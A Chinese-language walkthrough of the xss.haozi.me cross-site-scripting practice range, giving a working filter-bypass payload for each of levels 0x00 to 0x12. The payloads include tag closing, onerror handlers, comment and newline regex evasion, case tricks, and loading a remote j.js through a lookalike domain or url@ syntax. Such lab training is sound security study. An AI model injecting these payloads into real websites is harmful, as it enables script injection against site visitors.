xss彈窗專項練習

項目地址:https://xss.haozi.me/html

 

0x00

直接常規插入,正則表達式

<script>alert(1)</script>segmentfault

 

 

 

 


 

0x01

閉合前面的<textarea>標籤xss

</textarea><script>alert(1)</script>網站

</textarea><img src=0 onerror=alert(1)>編碼

 

 

 

 


 

0x02

閉合前面的雙引號url

"><script>alert(1)</script>spa

 

 

 

 


 

0x03

過濾了括號,用 ` 代替3d

<script>alert`1`</script>htm

 

 

 

 


 

0x04

把括號、正括號和引號都過濾了能夠考慮用html編碼來繞過

 

<img src=0 onerror=alert(1)>

 

 

 

 


 

0x05

後註釋符 --> 被替換成了一個表情,這裏註釋符有兩種:

 <!-- 註釋內容 -->

 <!-- 註釋內容 --!>

能夠用到第二種註釋符

--!><script>alert(1)</script>

 

 

 

 


 

0x06

用了正則表達式來過濾匹配了:  auto 、以on開頭且以=結尾的字符串、 >因此過濾了autofocusonerror等事件, 以及防止input標籤被閉合

 

可是它並無匹配換行符, 能夠經過換行來繞過匹配

type="image" src=0 onerror

=alert(1)

 

 

 

 


 

0x07

這裏分爲三部分來分析:  /<\/?[^>]+>/gi

1<\/?

   \轉義符與/結合從而轉義了/, 進而含義是匹配:  </

   再加上+ (匹配前面的子表達式一次或屢次), 因此是匹配: < 或者 </

2[^>]+

   首先要明白中括號的用法:  [abc] => 匹配abc中的任意一個;  

   而後^符號的兩種用法:

    1.限定開頭好比, /^A/會匹配"An e"中的A,可是不會匹配"ab A"中的A

    2.取反(僅處於中括號中成立): 好比,[^a-zA-Z0-9]表示 「找到一個非字母也非數字的字符」。 

 最後是+的含義:匹配前面的子表達式一次或屢次。

 因此, 總的來講,[^>]+ 匹配了除了^的任意字符的一次或者屢次

3>

 單純匹配>。

總的表達式就是,匹配:  </ 任意字符 >,  並且 /i 過濾了大小寫

 

html的單標籤也能夠解析後面+空格

<img src=0 onerror=alert(1) 

 

 

 

 


 

0x08

正則匹配過濾了</style>

 

能夠加一個空格</style >,形成正則逃逸

 

也能夠利用正則不匹配\n來繞過

</style

><img src=0 onerror=alert(1)>

 

 


 

0x09

正則表達式白名單式地匹配了固定網址,並閉合前面的標籤

https://www.segmentfault.com"></script><img src=0 onerror="alert(1)

 

 

 


 

0x0A

正則匹配過濾了不少關鍵字,沒法在網址後面加標籤等操做了,可是能夠直接引用指定網站下的目錄文件來達到xss注入的目的在靶場的目錄下有個j.js文件裏面有alert(1);代碼, 直接調用便可

https://www.segmentfault.com.haozi.me/j.js

 

也可用url@語法來進行跳轉調用而後@跳轉訪問便可 (beefhook原理)

https://www.segmentfault.com@https://www.joker.com/j.js

注意要都要爲https或者http

 


 

0x0B

程序將全部字母轉換爲大寫

 

HTML中對大小寫不敏感

JS中對大小寫敏感

這樣能夠js代碼進行編碼處理, html部分不變

<img src=0 onerror="alert(1)">

 

域名對大小寫也不敏感  ,  全部能夠用上一題的方法調用靶機上自帶的j.js代碼完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

 

0x0C

和上一題相比, 只是多了一個對script的過濾,

<img src=0 onerror="alert(1)">

 

也能夠用雙寫繞過

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

 


 

0x0D

用正則把斜槓, 單、雙引號都過濾了

但回車能夠破壞結構,再直接注入alert(1),  再配合js的註釋符 --> 註釋掉')

 

 

 


 

0x0E

正則匹配了全部大小寫字母,將尖括號後面追加一個下劃線, 而且將全部字符大寫

 

找到一個字符的大寫是s ſ  (古英文, 拉丁文):

https://www.thetype.com/2009/10/1577

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

 

 

 


 

0x0F

將一些經常使用的注入字符進行了html編碼處理, 因爲編碼後處於html標籤中, 因此當解析代碼的時候, 被過濾編碼的字符仍然會被還原來執行因此能夠說, 被過濾的字符能夠用,構造一下,使其閉合在註釋掉後面的內容便可

'); alert(1); //

 

 

 


 

0x10

沒有過濾, 隨意給window.date一個值再注入

''; alert(1); //

 

 

 


 

0x11

//雖然被轉義成了\/\/,  但轉義以後仍是//,  js中仍是註釋符 (勿與正則弄混

"); alert(1); //

 

 

 


 

0x12

這題將雙引號轉義了, 就不能閉合了換個思路, 它並無將轉義符轉義那麼咱們能夠將轉義符轉義

\"); alert(1); //

 

 

 


 

完。

相關文章
相關標籤/搜索